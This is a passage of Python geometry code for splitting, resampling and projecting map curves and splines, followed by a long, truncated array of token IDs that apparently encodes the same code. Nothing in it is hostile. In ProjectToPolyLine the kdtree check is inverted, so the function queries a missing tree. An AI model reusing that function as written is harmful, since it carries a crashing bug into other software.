np.argmin(errors1 + errors2) max_err1 = np.max(max_errors1) max_err2 = np.max(max_errors2) return params, k def ComputeSplitIndices(curve,THRESHOLD=1.0,ds_min=50.0): """ Downsample a curve by greedy splitting until below reprojection error threshold """ explored = set() frontier = set() frontier.add((0,curve.pts.shape[1]-1)) while len(frontier) != 0: i,j = frontier.pop() if j - i <= 1: explored.add((i,j)) else: k = SplitLineRecursive(curve.pts,i,j,THRESHOLD=THRESHOLD,ds_min=ds_min) if k != j and i != j-1: frontier.add((i,k)) frontier.add((k,j)) else: explored.add((i,j)) idxs = sorted(list(set([i for idxs in explored for i in idxs]))) return idxs def UpSampleSplineCurve(curve, MAX_SEGMENT_LENGTH=5.0): """ Upsample """ unew = np.linspace(curve.u[0],curve.u[-1],100) out = interpolate.splev(unew,curve.tck) splineX = out[0]; splineY = out[1]; dS = np.sqrt(np.diff(splineX)**2 + np.diff(splineY)**2) S = sum(dS) u_dense = np.linspace(curve.u[0], curve.u[-1], int(np.round(S / MAX_SEGMENT_LENGTH))) # compute new dense spline out = interpolate.splev(u_dense,curve.tck) new_pts = np.stack(out) return SplineCurve(id=curve.id,keys=curve.keys, pts=new_pts,tck=curve.tck,u=u_dense) def DownsampleSplineCurve(curve,THRESHOLD=1.0,ds_min=50.0): """ Downsample a curve by greedy splitting until below reprojection error threshold """ idxs = ComputeSplitIndices(curve,THRESHOLD=THRESHOLD,ds_min=ds_min) new_pts = np.stack([curve.pts[:,i] for i in idxs]).T return SplineCurve(id=curve.id,keys=curve.keys, pts=new_pts,tck=curve.tck,u=curve.u[idxs]) def SplitSplineCurve(open_map, spline_curve_id, idx, ratio): """ splits a spline curve and returns the new ids """ spline_curve = open_map.spline_curves[spline_curve_id] split_pt = ratio*spline_curve.pts[:,idx+1] + (1.-ratio)*spline_curve.pts[:,idx] # linear interpolation split_u = ratio*spline_curve.u[idx+1] + (1.-ratio)*spline_curve.u[idx] new_spline_curve = SplineCurve( id=len(open_map.spline_curves)+1, pts=np.block([np.expand_dims(split_pt,1), spline_curve.pts[:,idx+1:]]), keys=spline_curve.keys, tck=spline_curve.tck.copy(), u=np.block([split_u, spline_curve.u[idx+1:]]) ) spline_curve.u = np.block([spline_curve.u[:idx+1], split_u]) spline_curve.pts = np.block([spline_curve.pts[:,:idx+1],np.expand_dims(split_pt,1)]) # open_map.spline_curves[spline_curve_id] = spline_curve open_map.spline_curves[new_spline_curve.id] = new_spline_curve return spline_curve.id, new_spline_curve.id def SplitCurve(open_map, curve_id, idx, ratio): """ splits a curve and returns the new ids """ curve = open_map.curves[curve_id] split_pt = curve.pts[idx+1]*ratio + curve.pts[idx]*(1.-ratio) old_pts = curve.pts[:idx+1] old_pts.append(copy(split_pt)) new_pts = curve.pts[idx+1:] new_pts.insert(0,copy(split_pt)) curve.pts = old_pts new_curve = Curve(id=len(open_map.curves)+1, pts=new_pts) open_map.curves[new_curve.id] = new_curve # open_map.curves[curve.id] = curve return curve.id, new_curve.id def ProjectToPolyLine(polyline,pt,kdtree=None): """ projects a point to a polyline """ # First find the closest point on the curve if kdtree is not None: idx = np.argmin(np.sum((polyline.pts.T - pt)**2,axis=1)) else: dist, idx = kdtree.query(pt) # determine the interval in which the point lies if idx == 0: idx1 = idx idx2 = idx + 1 elif idx == polyline.pts.shape[-1] - 1: idx2 = idx idx1 = idx - 1 else: base_pt = polyline.pts[:,idx-1] base_vec = polyline.pts[:,idx] - base_pt vec = pt - base_pt ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) if ratio > 0.0: if ratio < 1.0: idx1 = idx - 1 idx2 = idx else: idx1 = idx idx2 = idx + 1 else: idx1 = idx - 1 idx2 = idx base_pt = polyline.pts[:,idx1] base_vec = polyline.pts[:,idx2] - base_pt vec = pt - base_pt ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) sign = -np.sign(np.cross(vec.T,base_vec.T)) normal = sign*np.linalg.norm(vec - base_vec * ratio) return idx1, ratio, normal def ProjectToCurve(curve,pt,kdtree=None): """ projects a point to a curve (i.e. an array of curve pts) """ # First find the closest point on the curve # import pdb; pdb.set_trace() if kdtree is not None: dist, idx = kdtree.query(np.array([pt.x, pt.y])) else: dists = np.array([(p.x - pt.x)**2 + (p.y - pt.y)**2 for p in curve.pts]) idx = np.argmin(dists) dist = dists[idx] # determine the interval in which the point lies if idx == 0: idx1 = idx idx2 = idx + 1 elif idx == len(curve.pts) - 1: idx2 = idx idx1 = idx - 1 else: # Choose interval based on heading of curve point if np.dot(np.array([np.cos(curve.pts[idx].theta), np.sin(curve.pts[idx].theta)]), CurvePtToVector(pt)[:2] - CurvePtToVector(curve.pts[idx])[:2]) < 0: idx2 = idx idx1 = idx - 1 else: idx1 = idx idx2 = idx + 1 # Compute the curve index base_vec = CurvePtToVector(curve.pts[idx2] - curve.pts[idx1])[:2] vec = CurvePtToVector(pt - curve.pts[idx1])[:2] ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) sign = -np.sign(np.cross(vec.T,base_vec.T)) normal = sign*np.linalg.norm(vec - base_vec * ratio) return idx1, ratio, normal
[ 11748, 299, 32152, 355, 45941, 198, 6738, 629, 541, 88, 1330, 39555, 378, 198, 11748, 304, 89, 67, 26152, 198, 11748, 289, 20, 9078, 198, 6738, 4866, 1330, 4866, 198, 6738, 5567, 1322, 1330, 1635, 198, 198, 4299, 14435, 38469, 2514, 13949, 41030, 434, 7, 1370, 457, 82, 11, 42975, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1627, 457, 82, 796, 45941, 13, 18747, 26933, 58, 87, 16, 11, 87, 17, 38430, 88, 16, 11, 88, 17, 11907, 8, 198, 220, 220, 220, 42975, 13, 43358, 796, 357, 17, 11, 45, 8, 1303, 460, 307, 2060, 42975, 393, 3294, 43344, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 42975, 13, 358, 320, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 42975, 796, 45941, 13, 11201, 392, 62, 67, 12078, 7, 457, 11, 16, 8, 198, 220, 220, 220, 2779, 62, 457, 796, 45941, 13, 11201, 392, 62, 67, 12078, 7, 1370, 457, 82, 58, 45299, 15, 4357, 16, 8, 198, 220, 220, 220, 2779, 62, 35138, 796, 45941, 13, 11201, 392, 62, 67, 12078, 7, 1370, 457, 82, 58, 45299, 16, 60, 532, 1627, 457, 82, 58, 45299, 15, 4357, 16, 8, 198, 220, 220, 220, 2779, 62, 35138, 796, 2779, 62, 35138, 1220, 45941, 13, 75, 1292, 70, 13, 27237, 7, 8692, 62, 35138, 8, 198, 220, 220, 220, 814, 62, 35138, 796, 42975, 532, 2779, 62, 457, 198, 220, 220, 220, 3487, 796, 814, 62, 35138, 532, 2779, 62, 35138, 1635, 2779, 62, 35138, 13, 51, 13, 26518, 7, 26069, 62, 35138, 8, 198, 220, 220, 220, 1441, 3487, 198, 198, 4299, 14435, 7279, 489, 5592, 4863, 13949, 41030, 434, 7, 1370, 457, 82, 11, 42975, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5860, 257, 3967, 393, 4633, 5253, 329, 1123, 12405, 966, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2779, 62, 457, 796, 45941, 13, 11201, 392, 62, 67, 12078, 7, 1370, 457, 82, 58, 45299, 15, 4357, 16, 8, 198, 220, 220, 220, 2779, 62, 35138, 796, 45941, 13, 11201, 392, 62, 67, 12078, 7, 1370, 457, 82, 58, 45299, 16, 60, 532, 1627, 457, 82, 58, 45299, 15, 4357, 16, 8, 198, 220, 220, 220, 2779, 62, 35138, 796, 2779, 62, 35138, 1220, 45941, 13, 75, 1292, 70, 13, 27237, 7, 8692, 62, 35138, 8, 198, 220, 220, 220, 814, 62, 35138, 796, 42975, 532, 2779, 62, 457, 198, 220, 220, 220, 1051, 796, 45941, 13, 12683, 7, 37659, 13, 19692, 7, 26069, 62, 35138, 13, 51, 11, 8692, 62, 35138, 13, 51, 4008, 198, 220, 220, 220, 1233, 796, 45941, 13, 31166, 17034, 7, 37659, 13, 16345, 19510, 26069, 62, 35138, 532, 2779, 62, 35138, 1635, 2779, 62, 35138, 13, 51, 13, 26518, 7, 26069, 62, 35138, 4008, 1174, 17, 11, 22704, 28, 15, 4008, 198, 220, 220, 220, 1441, 1051, 1635, 1233, 198, 198, 4299, 27758, 13949, 6690, 30753, 7, 1370, 457, 82, 11, 72, 11, 73, 11, 4221, 19535, 39, 15173, 28, 20, 13, 15, 11, 9310, 62, 1084, 28, 1120, 13, 15, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 17489, 1266, 966, 379, 543, 284, 6626, 257, 1627, 284, 17775, 2472, 43969, 29192, 4049, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3509, 62, 8056, 796, 45941, 13, 9806, 7, 16775, 295, 12331, 7, 37659, 13, 25558, 19510, 1370, 457, 82, 58, 45299, 72, 4357, 1370, 457, 82, 58, 45299, 73, 12962, 737, 51, 11, 1627, 457, 82, 58, 45299, 72, 25, 73, 60, 4008, 198, 220, 220, 220, 611, 3509, 62, 8056, 1279, 2320, 19535, 39, 15173, 25, 198, 220, 220, 220, 220, 220, 220, 220, 288, 82, 796, 45941, 13, 66, 5700, 388, 7, 37659, 13, 31166, 17034, 7, 37659, 13, 16345, 7, 37659, 13, 26069, 7, 1370, 457, 82, 58, 45299, 72, 25, 73, 12962, 1174, 17, 11, 22704, 28, 15, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 611, 288, 82, 58, 12, 16, 60, 1875, 288, 82, 62, 1084, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 479, 796, 1312, 1343, 45941, 13, 853, 1084, 19510, 9310, 532, 288, 82, 58, 12, 16, 60, 14, 17, 2014, 1174, 17, 8, 1343, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 479, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 474, 198, 220, 220, 220, 8563, 16, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 8563, 17, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 3509, 62, 48277, 16, 220, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 3509, 62, 48277, 17, 220, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 329, 479, 287, 2837, 7, 72, 10, 16, 11, 73, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 300, 16, 796, 45941, 13, 25558, 19510, 1370, 457, 82, 58, 45299, 72, 4357, 1370, 457, 82, 58, 45299, 74, 12962, 737, 51, 198, 220, 220, 220, 220, 220, 220, 220, 300, 17, 796, 45941, 13, 25558, 19510, 1370, 457, 82, 58, 45299, 74, 4357, 1370, 457, 82, 58, 45299, 73, 12962, 737, 51, 198, 220, 220, 220, 220, 220, 220, 220, 8563, 16, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 16345, 7, 16775, 295, 12331, 7, 75, 16, 11, 1627, 457, 82, 58, 45299, 72, 10, 16, 25, 74, 60, 4008, 1220, 357, 74, 12, 72, 8, 198, 220, 220, 220, 220, 220, 220, 220, 8563, 17, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 16345, 7, 16775, 295, 12331, 7, 75, 17, 11, 1627, 457, 82, 58, 45299, 74, 10, 16, 25, 73, 60, 4008, 1220, 357, 73, 12, 74, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 48277, 16, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 9806, 7, 16775, 295, 12331, 7, 75, 16, 11, 1627, 457, 82, 58, 45299, 72, 25, 74, 60, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 48277, 17, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 9806, 7, 16775, 295, 12331, 7, 75, 17, 11, 1627, 457, 82, 58, 45299, 74, 25, 73, 60, 4008, 198, 220, 220, 220, 479, 796, 1312, 10, 16, 1343, 45941, 13, 853, 1084, 7, 48277, 16, 1343, 8563, 17, 8, 198, 220, 220, 220, 1303, 3509, 62, 8056, 16, 796, 45941, 13, 9806, 7, 9806, 62, 48277, 16, 8, 198, 220, 220, 220, 1303, 3509, 62, 8056, 17, 796, 45941, 13, 9806, 7, 9806, 62, 48277, 17, 8, 628, 220, 220, 220, 1441, 479, 198, 198, 4299, 9938, 13014, 14993, 451, 41205, 7, 457, 82, 11, 72, 11, 73, 11, 4221, 19535, 39, 15173, 28, 16, 13, 15, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1892, 1762, 1865, 986, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3509, 62, 8056, 796, 45941, 13, 9806, 7, 16775, 295, 12331, 7, 37659, 13, 25558, 19510, 457, 82, 58, 45299, 72, 4357, 457, 82, 58, 45299, 73, 12962, 737, 51, 11, 43344, 4008, 198, 220, 220, 220, 611, 3509, 62, 8056, 1279, 2320, 19535, 39, 15173, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 474, 198, 220, 220, 220, 8563, 16, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 8563, 17, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 3509, 62, 48277, 16, 220, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 3509, 62, 48277, 17, 220, 796, 45941, 13, 9107, 418, 7, 73, 30420, 72, 10, 16, 4008, 198, 220, 220, 220, 329, 479, 287, 2837, 7, 72, 10, 16, 11, 73, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1395, 16, 796, 45941, 13, 25558, 26933, 457, 82, 58, 15, 11, 72, 25, 74, 4357, 37659, 13, 1952, 7, 74, 12, 72, 15437, 737, 51, 198, 220, 220, 220, 220, 220, 220, 220, 1395, 17, 796, 45941, 13, 25558, 26933, 457, 82, 58, 15, 11, 74, 25, 73, 4357, 37659, 13, 1952, 7, 73, 12, 74, 15437, 737, 51, 198, 220, 220, 220, 220, 220, 220, 220, 1395, 796, 45941, 13, 9967, 26933, 58, 55, 16, 11, 37659, 13, 9107, 418, 62, 2339, 7, 55, 16, 8, 38430, 37659, 13, 9107, 418, 62, 2339, 7, 55, 17, 828, 55, 17, 11907, 8, 198, 220, 220, 220, 220, 220, 220, 220, 575, 796, 43344, 58, 16, 11, 72, 25, 73, 60, 198, 220, 220, 220, 220, 220, 220, 220, 42287, 796, 45941, 13, 75, 1292, 70, 13, 16340, 7, 55, 13, 51, 13, 26518, 7, 55, 29720, 26518, 7, 55, 13, 51, 737, 26518, 7, 56, 8, 198, 220, 220, 220, 220, 220, 220, 220, 575, 5183, 796, 1395, 13, 26518, 7, 37266, 8, 198, 220, 220, 220, 220, 220, 220, 220, 300, 16, 796, 45941, 13, 25558, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 457, 82, 58, 15, 11, 72, 4357, 56, 5183, 58, 72, 60, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 457, 82, 58, 15, 11, 74, 4357, 56, 5183, 58, 74, 11907, 198, 220, 220, 220, 220, 220, 220, 220, 2361, 737, 51, 198, 220, 220, 220, 220, 220, 220, 220, 300, 17, 796, 45941, 13, 25558, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 457, 82, 58, 15, 11, 74, 4357, 56, 5183, 58, 74, 60, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 457, 82, 58, 15, 11, 73, 12, 16, 4357, 56, 5183, 58, 73, 12, 16, 11907, 198, 220, 220, 220, 220, 220, 220, 220, 2361, 737, 51, 198, 220, 220, 220, 220, 220, 220, 220, 8563, 16, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 16345, 7, 16775, 295, 12331, 7, 75, 16, 11, 43344, 58, 45299, 72, 10, 16, 25, 74, 60, 4008, 1220, 357, 74, 12, 72, 8, 198, 220, 220, 220, 220, 220, 220, 220, 8563, 17, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 16345, 7, 16775, 295, 12331, 7, 75, 17, 11, 43344, 58, 45299, 74, 10, 16, 25, 73, 60, 4008, 1220, 357, 73, 12, 74, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 48277, 16, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 9806, 7, 16775, 295, 12331, 7, 75, 16, 11, 43344, 58, 45299, 72, 25, 74, 60, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 48277, 17, 58, 74, 12, 72, 12, 16, 60, 796, 45941, 13, 9806, 7, 16775, 295, 12331, 7, 75, 17, 11, 43344, 58, 45299, 74, 25, 73, 60, 4008, 198, 220, 220, 220, 479, 796, 1312, 10, 16, 1343, 45941, 13, 853, 1084, 7, 48277, 16, 1343, 8563, 17, 8, 198, 220, 220, 220, 3509, 62, 8056, 16, 796, 45941, 13, 9806, 7, 9806, 62, 48277, 16, 8, 198, 220, 220, 220, 3509, 62, 8056, 17, 796, 45941, 13, 9806, 7, 9806, 62, 48277, 17, 8, 198, 220, 220, 220, 1441, 42287, 11, 479, 198, 198, 4299, 3082, 1133, 41205, 5497, 1063, 7, 22019, 303, 11, 4221, 19535, 39, 15173, 28, 16, 13, 15, 11, 9310, 62, 1084, 28, 1120, 13, 15, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5588, 39873, 257, 12133, 416, 31828, 26021, 1566, 2174, 43969, 29192, 4049, 11387, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 18782, 796, 900, 3419, 198, 220, 220, 220, 27580, 796, 900, 3419, 198, 220, 220, 220, 27580, 13, 2860, 19510, 15, 11, 22019, 303, 13, 457, 82, 13, 43358, 58, 16, 45297, 16, 4008, 628, 220, 220, 220, 981, 18896, 7, 8534, 959, 8, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1312, 11, 73, 796, 27580, 13, 12924, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 611, 474, 532, 1312, 19841, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18782, 13, 2860, 19510, 72, 11, 73, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 479, 796, 27758, 13949, 6690, 30753, 7, 22019, 303, 13, 457, 82, 11, 72, 11, 73, 11, 4221, 19535, 39, 15173, 28, 4221, 19535, 39, 15173, 11, 9310, 62, 1084, 28, 9310, 62, 1084, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 479, 14512, 474, 290, 1312, 14512, 474, 12, 16, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27580, 13, 2860, 19510, 72, 11, 74, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27580, 13, 2860, 19510, 74, 11, 73, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18782, 13, 2860, 19510, 72, 11, 73, 4008, 628, 220, 220, 220, 4686, 34223, 796, 23243, 7, 4868, 7, 2617, 26933, 72, 329, 4686, 34223, 287, 18782, 329, 1312, 287, 4686, 34223, 60, 22305, 198, 220, 220, 220, 1441, 4686, 34223, 198, 198, 4299, 3205, 36674, 26568, 500, 26628, 303, 7, 22019, 303, 11, 25882, 62, 5188, 38, 10979, 62, 43, 49494, 28, 20, 13, 15, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 35949, 1403, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 555, 413, 796, 45941, 13, 21602, 10223, 7, 22019, 303, 13, 84, 58, 15, 4357, 22019, 303, 13, 84, 58, 12, 16, 4357, 3064, 8, 198, 220, 220, 220, 503, 796, 39555, 378, 13, 82, 1154, 85, 7, 403, 413, 11, 22019, 303, 13, 83, 694, 8, 198, 220, 220, 220, 4328, 500, 55, 796, 503, 58, 15, 11208, 4328, 500, 56, 796, 503, 58, 16, 11208, 198, 220, 220, 220, 288, 50, 796, 45941, 13, 31166, 17034, 7, 37659, 13, 26069, 7, 22018, 500, 55, 8, 1174, 17, 1343, 45941, 13, 26069, 7, 22018, 500, 56, 8, 1174, 17, 8, 198, 220, 220, 220, 311, 796, 2160, 7, 67, 50, 8, 198, 220, 220, 220, 334, 62, 67, 1072, 796, 45941, 13, 21602, 10223, 7, 22019, 303, 13, 84, 58, 15, 4357, 12133, 13, 84, 58, 12, 16, 4357, 493, 7, 37659, 13, 744, 7, 50, 1220, 25882, 62, 5188, 38, 10979, 62, 43, 49494, 22305, 198, 220, 220, 220, 1303, 24061, 649, 15715, 4328, 500, 198, 220, 220, 220, 503, 796, 39555, 378, 13, 82, 1154, 85, 7, 84, 62, 67, 1072, 11, 22019, 303, 13, 83, 694, 8, 198, 220, 220, 220, 649, 62, 457, 82, 796, 45941, 13, 25558, 7, 448, 8, 628, 220, 220, 220, 1441, 13341, 500, 26628, 303, 7, 312, 28, 22019, 303, 13, 312, 11, 13083, 28, 22019, 303, 13, 13083, 11, 198, 220, 220, 220, 220, 220, 220, 220, 43344, 28, 3605, 62, 457, 82, 11, 83, 694, 28, 22019, 303, 13, 83, 694, 11, 84, 28, 84, 62, 67, 1072, 8, 198, 198, 4299, 5588, 39873, 26568, 500, 26628, 303, 7, 22019, 303, 11, 4221, 19535, 39, 15173, 28, 16, 13, 15, 11, 9310, 62, 1084, 28, 1120, 13, 15, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5588, 39873, 257, 12133, 416, 31828, 26021, 1566, 2174, 43969, 29192, 4049, 11387, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4686, 34223, 796, 3082, 1133, 41205, 5497, 1063, 7, 22019, 303, 11, 4221, 19535, 39, 15173, 28, 4221, 19535, 39, 15173, 11, 9310, 62, 1084, 28, 9310, 62, 1084, 8, 198, 220, 220, 220, 649, 62, 457, 82, 796, 45941, 13, 25558, 26933, 22019, 303, 13, 457, 82, 58, 45299, 72, 60, 329, 1312, 287, 4686, 34223, 35944, 51, 198, 220, 220, 220, 1441, 13341, 500, 26628, 303, 7, 312, 28, 22019, 303, 13, 312, 11, 13083, 28, 22019, 303, 13, 13083, 11, 198, 220, 220, 220, 220, 220, 220, 220, 43344, 28, 3605, 62, 457, 82, 11, 83, 694, 28, 22019, 303, 13, 83, 694, 11, 84, 28, 22019, 303, 13, 84, 58, 312, 34223, 12962, 198, 198, 4299, 27758, 26568, 500, 26628, 303, 7, 9654, 62, 8899, 11, 4328, 500, 62, 22019, 303, 62, 312, 11, 4686, 87, 11, 8064, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 30778, 257, 4328, 500, 12133, 290, 5860, 262, 649, 220, 2340, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4328, 500, 62, 22019, 303, 796, 1280, 62, 8899, 13, 22018, 500, 62, 22019, 1158, 58, 22018, 500, 62, 22019, 303, 62, 312, 60, 198, 220, 220, 220, 6626, 62, 457, 796, 8064, 9, 22018, 500, 62, 22019, 303, 13, 457, 82, 58, 45299, 312, 87, 10, 16, 60, 1343, 357, 16, 7874, 10366, 952, 27493, 22018, 500, 62, 22019, 303, 13, 457, 82, 58, 45299, 312, 87, 60, 1303, 14174, 39555, 341, 198, 220, 220, 220, 6626, 62, 84, 796, 8064, 9, 22018, 500, 62, 22019, 303, 13, 84, 58, 312, 87, 10, 16, 60, 1343, 357, 16, 7874, 10366, 952, 27493, 22018, 500, 62, 22019, 303, 13, 84, 58, 312, 87, 60, 198, 220, 220, 220, 649, 62, 22018, 500, 62, 22019, 303, 796, 13341, 500, 26628, 303, 7, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 28, 11925, 7, 9654, 62, 8899, 13, 22018, 500, 62, 22019, 1158, 47762, 16, 11, 198, 220, 220, 220, 220, 220, 220, 220, 43344, 28, 37659, 13, 9967, 26933, 37659, 13, 11201, 392, 62, 67, 12078, 7, 35312, 62, 457, 11, 16, 828, 4328, 500, 62, 22019, 303, 13, 457, 82, 58, 45299, 312, 87, 10, 16, 25, 11907, 828, 198, 220, 220, 220, 220, 220, 220, 220, 8251, 28, 22018, 500, 62, 22019, 303, 13, 13083, 11, 198, 220, 220, 220, 220, 220, 220, 220, 256, 694, 28, 22018, 500, 62, 22019, 303, 13, 83, 694, 13, 30073, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 334, 28, 37659, 13, 9967, 26933, 35312, 62, 84, 11, 4328, 500, 62, 22019, 303, 13, 84, 58, 312, 87, 10, 16, 25, 11907, 8, 198, 220, 220, 220, 1267, 198, 220, 220, 220, 4328, 500, 62, 22019, 303, 13, 84, 796, 45941, 13, 9967, 26933, 22018, 500, 62, 22019, 303, 13, 84, 58, 25, 312, 87, 10, 16, 4357, 6626, 62, 84, 12962, 198, 220, 220, 220, 4328, 500, 62, 22019, 303, 13, 457, 82, 796, 45941, 13, 9967, 26933, 22018, 500, 62, 22019, 303, 13, 457, 82, 58, 45299, 25, 312, 87, 10, 16, 4357, 37659, 13, 11201, 392, 62, 67, 12078, 7, 35312, 62, 457, 11, 16, 8, 12962, 198, 220, 220, 220, 1303, 1280, 62, 8899, 13, 22018, 500, 62, 22019, 1158, 58, 22018, 500, 62, 22019, 303, 62, 312, 60, 796, 4328, 500, 62, 22019, 303, 198, 220, 220, 220, 1280, 62, 8899, 13, 22018, 500, 62, 22019, 1158, 58, 3605, 62, 22018, 500, 62, 22019, 303, 13, 312, 60, 796, 649, 62, 22018, 500, 62, 22019, 303, 628, 220, 220, 220, 1441, 4328, 500, 62, 22019, 303, 13, 312, 11, 649, 62, 22018, 500, 62, 22019, 303, 13, 312, 198, 198, 4299, 27758, 26628, 303, 7, 9654, 62, 8899, 11, 12133, 62, 312, 11, 4686, 87, 11, 8064, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 30778, 257, 12133, 290, 5860, 262, 649, 220, 2340, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 12133, 796, 1280, 62, 8899, 13, 22019, 1158, 58, 22019, 303, 62, 312, 60, 198, 220, 220, 220, 6626, 62, 457, 796, 12133, 13, 457, 82, 58, 312, 87, 10, 16, 60, 9, 10366, 952, 1343, 12133, 13, 457, 82, 58, 312, 87, 60, 9, 7, 16, 7874, 10366, 952, 8, 198, 220, 220, 220, 1468, 62, 457, 82, 796, 12133, 13, 457, 82, 58, 25, 312, 87, 10, 16, 60, 198, 220, 220, 220, 1468, 62, 457, 82, 13, 33295, 7, 30073, 7, 35312, 62, 457, 4008, 198, 220, 220, 220, 649, 62, 457, 82, 796, 12133, 13, 457, 82, 58, 312, 87, 10, 16, 47715, 198, 220, 220, 220, 649, 62, 457, 82, 13, 28463, 7, 15, 11, 30073, 7, 35312, 62, 457, 4008, 628, 220, 220, 220, 12133, 13, 457, 82, 796, 1468, 62, 457, 82, 198, 220, 220, 220, 649, 62, 22019, 303, 796, 46300, 7, 312, 28, 11925, 7, 9654, 62, 8899, 13, 22019, 1158, 47762, 16, 11, 43344, 28, 3605, 62, 457, 82, 8, 198, 220, 220, 220, 1280, 62, 8899, 13, 22019, 1158, 58, 3605, 62, 22019, 303, 13, 312, 60, 796, 649, 62, 22019, 303, 198, 220, 220, 220, 1303, 1280, 62, 8899, 13, 22019, 1158, 58, 22019, 303, 13, 312, 60, 796, 12133, 628, 220, 220, 220, 1441, 12133, 13, 312, 11, 649, 62, 22019, 303, 13, 312, 198, 198, 4299, 4935, 2514, 34220, 13949, 7, 35428, 1370, 11, 457, 11, 74, 67, 21048, 28, 14202, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4493, 257, 966, 284, 257, 7514, 1370, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 3274, 1064, 262, 11706, 966, 319, 262, 12133, 198, 220, 220, 220, 611, 479, 67, 21048, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 796, 45941, 13, 853, 1084, 7, 37659, 13, 16345, 19510, 35428, 1370, 13, 457, 82, 13, 51, 532, 42975, 8, 1174, 17, 11, 22704, 28, 16, 4008, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1233, 11, 4686, 87, 796, 479, 67, 21048, 13, 22766, 7, 457, 8, 198, 220, 220, 220, 1303, 5004, 262, 16654, 287, 543, 262, 966, 7363, 198, 220, 220, 220, 611, 4686, 87, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 220, 796, 4686, 87, 1343, 352, 198, 220, 220, 220, 1288, 361, 4686, 87, 6624, 7514, 1370, 13, 457, 82, 13, 43358, 58, 12, 16, 60, 532, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 532, 352, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2779, 62, 457, 796, 7514, 1370, 13, 457, 82, 58, 45299, 312, 87, 12, 16, 